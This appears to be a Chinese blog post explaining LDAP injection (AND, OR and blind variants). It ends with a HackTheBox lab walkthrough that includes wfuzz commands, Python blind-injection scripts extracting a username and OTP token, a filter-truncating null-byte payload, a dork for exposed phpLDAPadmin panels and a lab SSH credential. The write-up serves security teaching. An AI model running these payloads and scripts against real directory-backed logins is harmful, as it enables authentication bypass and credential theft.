最近在HackTheBox上氪了金(肉疼?),做了一些已經retired的高質量邏輯,不得不說質量還是很高的。其中有一個靶機叫做CTF,難度是最高級別的insane,主要是它考察的知識點比較冷門——LDAP注入。可能很多小伙伴都沒怎么聽說過這個漏洞,我想主要原因還是LDAP這個協議用的比較少,而且國內CTF比賽中我也基本上沒有看到有考察這個點的。在網上搜了一下,發現最近一次出現這個考點的是在CSAW CTF Qualification Round 2018比賽中,題目直接告訴你了是考LDAP注入。剛好上個星期我在星盟內部分享中,也提到了這個知識點,那么本著聊勝于無,開闊知識面的本意下(其實是偷懶?),寫下這篇淺談LDAP注入攻擊的文章。
0x01 LDAP介紹
什么是LDAP
在做靶機之前,我們首先來了解一下什么是LDAP?
以下內容部分摘自2018 blackhat LDAP Injection & Blind LDAP Injection
LDAP(Lightweight Directory Access Protocol):輕量級目錄訪問協議,是一種在線目錄訪問協議,主要用于目錄中資源的搜索和查詢,是X.500的一種簡便的實現。
那么轉換成人話就是說,LDAP是用于訪問目錄服務(特別是基于X.500的目錄服務)的輕量級客戶端服務器協議,它通過TCP/IP傳輸服務運行。關鍵的地方就在于,數據是存儲在目錄中,而不是數據庫中。的確,目錄和數據庫有很多共同之處,都能存儲數據、并能在一定程度進行搜索和查詢。這里就有一個問題了,目錄和數據庫的區別在哪?
最重要的區別就是目錄適合于存放靜態數據,它存儲的數據無論在類型和種類較之數據庫中的數據都要更為繁多,包括音頻、視頻、可執行文件、文本等文件,另外目錄中還存在目錄的遞歸。既然是存放不同類型的靜態數據,那么目錄服務在進行優化后更適宜于讀訪問,而非寫、修改等操作。
說了這么半天,感覺還是貼一張圖來的更快。

上面這張圖展示了LDAP的結構。我們都知道MySQL數據庫中的數據都是按記錄一條條記錄存在表中,而LDAP是樹結構的,數據存儲在葉子節點上。比如要描述上圖baby這個節點:
cn=baby, ou=marketing, ou=people, dc=mydomain, dc=org
LDAP的基本概念
在大概知道LDAP是做什么、長什么樣之后,我們再來了解一下LDAP的一些基本概念,主要是三個專有名詞:條目(Entry)、屬性(Attribute)、對象類(ObjectClass)。
條目
條目,也叫記錄項,是LDAP中最基本的顆粒,就像字典中的詞條或者是數據中的記錄。通常對LDAP的添加、刪除、修改、搜索都是以條目為基本單位。
屬性
每個條目都可以有很多屬性(Attribute),比如常見的人都有姓名、地址、電話等屬性。每個屬性都有名稱及對應的值,屬性值可以有單個、多個,比如你有多個郵箱。
此外,LDAP為人員組織機構中常見的對象都設計了屬性(比如commonName,surname)。
對象類
對象類是屬性的集合,LDAP預想了很多人員組織機構中常見的對象,并將其封裝成對象類。比如人員(person)含有姓(sn)、名(cn)、電話(telephoneNumber)、密碼(userPassword)等屬性,單位職工(organizationalPerson)是人員(person)的繼承類,除了上述屬性之外還含有職務(title)、郵政編碼(postalCode)、通信地址(postalAddress)等屬性。
通過對象類可以方便的定義條目類型。每個條目可以直接繼承多個對象類,這樣就繼承了各種屬性。如果2個對象類中有相同的屬性,則條目繼承后只會保留1個屬性。對象類同時也規定了哪些屬性是基本信息,即必要屬性和可選屬性。
是不是聽起來和面向對象語言有點相似,跟JAVA中的Object類一樣,LDAP的根對象類就叫做top。
上述就是筆者對LDAP數據結構的簡單介紹了,LDAP既然主要用于搜索查詢,那它是怎么查詢的呢?
LDAP的基本語法
LDAP的語法非常簡單,一看就會,再看就懂。
以下部分內容摘自https://blog.csdn.net/leader_ww/article/details/4028672
=(等于)
例如,如果希望查找屬性giveNname值為John的所有對象,可以使用(givenName=John)。這會返回對應條件的所有對象。
&(邏輯與)
例如,如果希望查找居住在 Dallas 并且givenName為John的所有對象,可以使用(&(givenName=John)(l=Dallas))。
請注意,每個參數都被屬于其自己的圓括號括起來。整個 LDAP 語句必須包括在一對主圓括號中。操作符 & 表明,只有每個參數都為真,才會將此篩選條件應用到要查詢的對象。
|(邏輯或)
例如,如果希望查找屬性givenName值為Jhon或者Jack的所有對象,可以使用(|(givenName=Jhon)(givenName=Jack))。
!(邏輯非)
例如,如果需要查找givenName為John的對象以外的所有對象。則應使用如下語句:(!givenName=John)
*(通配符)
可使用通配符表示值可以等于任何值。使用它的情況可能是:您希望查找具有職務頭銜的所有對象。為此,可以使用(title=*),這會返回title屬性包含內容的所有對象。
另一個例子是:您知道某個對象的givenName屬性的開頭兩個字母是“Jo”。那么,可以使用(givenName=Jo*)進行查找,這會返回givenName以Jo開頭的所有對象。
Over~~LDAP的語法是不是很簡單。
說了這么多,可能很多小伙伴還是心存疑問,已經部署成功的LDAP到底是長什么樣子?
我們可以通過google Hacking intitle:”phpLDAPadmin” inurl:cmd.php來檢索一下,真實的運行的LDAP服務的網站,這個地方我就貼一張圖示范一下,包含了上面提到的所有概念。

0x02 LDAP注入攻擊面
其實它的攻擊手法和SQL注入的原理非常相似,在有漏洞的環境中,這些查詢參數沒有得到合適的過濾,因而攻擊者可以注入任意惡意代碼。由于比較簡單,我這里就走馬觀花的方式來過一遍LDAP注入的不同類型。
以下部分內容摘自https://wooyun.js.org/drops/LDAP%E6%B3%A8%E5%85%A5%E4%B8%8E%E9%98%B2%E5%BE%A1%E5%89%96%E6%9E%90.html
AND注入
這種情況,應用會構造由”&”操作符和用戶引入的的參數組成的正常查詢在LDAP目錄中搜索,例如:
(&(parameter1=value1)(parameter2=value2))
這里Value1和value2是在LDAP目錄中搜索的值,攻擊者可以注入代碼,維持正確的過濾器結構但能使用查詢實現他自己的目標。
比如說,為了驗證客戶端提供的user/password對,構造如下LDAP過濾器并發送給LDAP服務器:
(&(USER=Uname)(PASSWORD=Pwd))
如果攻擊者輸入一個有效的用戶名,如r00tgrok,然后在這個名字后面注入恰當的語句,password檢查就會被繞過。
使得Uname=slisberger)(&)),引入任何字符串作為Pwd值,構造如下查詢并發送給服務器:
(&(USER= slisberger)(&)(PASSWORD=Pwd))
OR注入
這種情況,應用會構造由”|”操作符和用戶引入的的參數組成的正常查詢在LDAP目錄中搜索,例如:
(|(parameter1=value1)(parameter2=value2))
這里Value1和value2是在LDAP目錄中搜索的值,攻擊者可以注入代碼,維持正確的過濾器結構但能使用查詢實現他自己的目標。
類似的,加入現在用于展示可用資源的查詢為:
(|(type=Rsc1)(type=Rsc2))
Rsc1和Rsc2表示系統中不同種類的資源。如果攻擊者輸入Rsc=printer)(uid=*),則下面的查詢被發送給服務器:
(|(type=printer)(uid=*))(type=scanner)
這樣也會造成注入的產生。
盲注
SQL注入中有盲注,LDAP中也存在這種問題,包括下面介紹到的靶機用到的也是盲注的手法。
假設攻擊者可以從服務器響應中推測出什么,盡管應用沒有報出錯信息,LDAP過濾器中注入的代碼卻生成了有效的響應或錯誤。攻擊者可以利用這一行為向服務器問正確的或錯誤的問題。
還是用一個例子來說明。
假設一個Web應用想從一個LDAP目錄列出所有可用的Epson打印機,錯誤信息不會返回,應用發送如下的過濾器:
(&(objectClass=printer)(type=Epson*))
使用這個查詢,如果有可用的Epson打印機,其圖標就會顯示給客戶端,否則沒有圖標出現。如果攻擊者進行LDAP盲注入攻擊
*)(objectClass=*))(&(objectClass=void
Web應用會構造如下查詢:
(&(objectClass=*)(objectClass=*))(&(objectClass=void)(type=Epson*))
僅第一個LDAP過濾器會被處理:
(&(objectClass=*)(objectClass=*))
那么這樣就和我們查詢的初衷相違背了。
接下來就是這篇文章的重頭戲了,我們主要從這個邏機中學到兩點:
• 怎么發現LDAP注入漏洞
• 如何利用LDAP注入漏洞
0x03 從HTB靶機中學習LDAP注入
Initial Enunciation
拿到靶機先用Nmap掃一下端口
# Nmap 7.80 scan initiated Fri Jul 10 10:50:40 2020 as: nmap -sC -sV -oN ctf 10.10.10.122
Nmap scan report for ctf.htb (10.10.10.122)
Host is up (1.8s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 fd:ad:f7:cb:dc:42:1e:43:7d:b3:d5:8b:ce:63:b9:0e (RSA)
| 256 3d:ef:34:5c:e5:17:5e:06:d7:a4:c8:86:ca:e2:df:fb (ECDSA)
|_ 256 4c:46:e2:16:8a:14:f6:f0:aa:39:6c:97:46:db:b4:40 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((centos) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jul 10 11:03:44 2020 -- 1 IP address (1 host up) scanned in 783.74 seconds
查看80端口

大概的意思就是讓我們嘗試去登錄這個系統,但是不能用SQLmap或者Dirbuster去暴力猜解用戶名和密碼。
再去登錄界面看一下:

提示我們是一個OTP,即One Time Password,一般而言是1分鐘更新一次。
查看源碼,發現有一個Hint

如果比較熟悉LDAP的話,這里的兩個名詞schema和existing attribute已經提示了是關于LDAP注入。
作者用一個已知的屬性去存儲了81位的token string,Google搜一下token string (81 digits)。
https://www.systutorials.com/docs/linux/man/1-stoken/

可以看到一個關鍵的地方,Pure numeric (81-digit) "ctf" (compressed token format) strings,和靶機的題目相契合,現在就有一點思路了,應該要去找到這個81位純數字的token,然后用stoken工具去生成OTP。那么主要是找到token,唯一可以利用的就是這個登錄框了。
先隨便用某個用戶名和密碼登錄admin:1234

返回User admin not found,再用SQL注入的萬能密碼試一試

直接是沒有任何顯示,應該是對一些特殊字符有黑名單過濾。Fuzz一下過濾了一些什么字符
wfuzz -c --hw 233 -d 'inputUsername=FUZZ&inputOTP=1234' -w special-chars.txt 10.10.10.122/login.php

—hw 233 代表過濾掉形如User xxx not found的返回信息。
我們發現+和&返回的是232 Words,但是在頁面測試一下

發現返回的還是User + not found或者User & not found,這樣的話應該是233 Words,而不是Wfuzz返回的232 Words。
我們嘗試把這些特殊字符二次URL編碼,看Web應用是否還能解析,用seclists中的dobleurihex.txt作為字典
wfuzz -c --hw 233 -d 'inputUsername=FUZZ&inputOTP=1234' -w doble-uri-hex.txt 10.10.10.122/login.php

最后Fuzz出來的被過濾的字符就是
%2500 ---> %00
%2528 ---> (
%2529 ---> )
%252a ---> *
%255c --->
這些被過濾的字符就是LDAP注入需要過濾的所有字符,再結合login.php頁面源代碼中的hint,可以確定是LDAP注入。
Getting User Access
先來看LDAP注入的最基本形式
(&
(password=1234)
(uid=ca01h%00)
)
具體到這個靶機的話,我們需要猜解括號的個數。運用類似盲注的思想,如果注入成功,那么就會返回User ca01h not found。
假設只有一個括號:

假設有兩個括號:

假設有三個括號:
當嘗試到三個括號用于閉合時,成功返回了User ca01h%29%29%29%00 not found,那么這個登錄框的LDAP查詢的基本形式就是
(&
(&
(password=1234)
(uid=ca01h)))%00
)
(&|
(other comparing)
)
)
接著,我們再回頭去看一下Fuzz出來的被過濾的字符,其中%25%2a返回的消息長度為231 Words

發現回響的消息是Cannot login,說明可以用*通配符來盲注用戶名,腳本如下:
#!/usr/bin/env Python3
### username_burp.py
import sys
import time
from string import ascii_lowercase
from urllib.parse import quote_plus
import requests
URL = 'http://10.10.10.122/login.php'
username, done = '', False
print()
while not done:
for c in ascii_lowercase:
payload = username + c + quote_plus('*')
data = {
'inputUsername': payload,
'inputOTP': '1234'
}
resp = requests.post(URL, data=data)
if 'Cannot login' in resp.text:
username += c
break
sys.stdout.write(f'r{username}{c}')
time.sleep(0.2)
else:
done = True
print(f'[+] Username: {username} n')

用戶名為ldapuser
知道了用戶名之后,我們就要去獲取生成OTP的81位token,通過頁面源代碼的提示,這個token存儲在某一個LDAP默認已經存在的屬性當中。而默認的屬性可以在PayloadsAllTheThings中找到:
c
cn
co
commonName
dc
facsimileTelephoneNumber
givenName
gn
homePhone
id
jpegPhoto
l
mobile
name
o
objectClass
ou
owner
pager
password
sn
st
surname
uid
username
userPassword
如果不想寫腳本的話用wfuzz來Fuzz靶機的LDAP中存在的屬性可能會更快一些,但還是要先找到注入的形式:
(&
(&
(password=1234)
(uid=ldapuser)
(FUZZ=*)
)
(&|
(other comparing)
)
)
此外還要把注入的字符ldapuser)(FUZZ=*進行二次URL編碼,編碼之后的結果ldapuser%2529%2528FUZZ%253d%252a。
wfuzz -c --hw 233 -d 'inputUsername=ldapuser%2529%2528FUZZ%253d%252a&inputOTP=1234' -w LDAP_attributes.txt http://10.10.10.122/login.php

我們Fuzz出來了這么些屬性是存在于靶機的LDAP服務中的,現在的工作就是一個一個的屬性來拆解,屬于一些重復性的工作,就不在這里過多贅述了,最后可以找到token是存儲于pager屬性中。接著寫腳本用來burp81位token
#!/usr/bin/python3
# pager_burp.py
import requests
import sys
from time import sleep
from string import digits
token = ""
URL = "http://10.10.10.122/login.php"
attribute = "pager"
loop = 1
while loop > 0:
for digit in digits:
token = token
# ldapuser)(pager=<token>)*
payload = f"ldapuser%29%28{attribute}%3d{token}{digit}%2a"
data = {"inputUsername": payload, "inputOTP": "1234"}
r = requests.post(URL, data=data)
sys.stdout.write(f"rToken: {token}{digit}")
sleep(0.5)
if b"Cannot login" in r.content:
token += digit
break
elif digit == "9":
loop = 0
break
print(f'[+] Token: {token} n')

這里值得注意的是需要刪掉最后的一個9,所以最后的token就是:
285449490011357156531651545652335570713167411445727140604172141456711102716717000
接著用stoken工具導入token

生成OTP

成功登錄后,跳轉到page.php頁面,可以執行命令

Damn it…..提示我們ldapuser權限不夠不能執行命令,這里有兩種辦法:
• 對
group
屬性進行注入,即把后面group屬性的filter截斷
(&
(&
(pager=<token>)
(uid=ldapuser)))%00
)
(|
(group=root)
(group=adm)
)
)
• 使用*通配符作為用戶名登錄
這里演示一下第一種方案,payload直接放到burp中
ldapuser%2529%2529%2529%2500

再去執行ls命令

讀取page.php文件:

SSH登錄:fdapuser:e398e27d5c4ad45086fe431120932a01

原文地址:https://www.anquanke.com/post/id/212186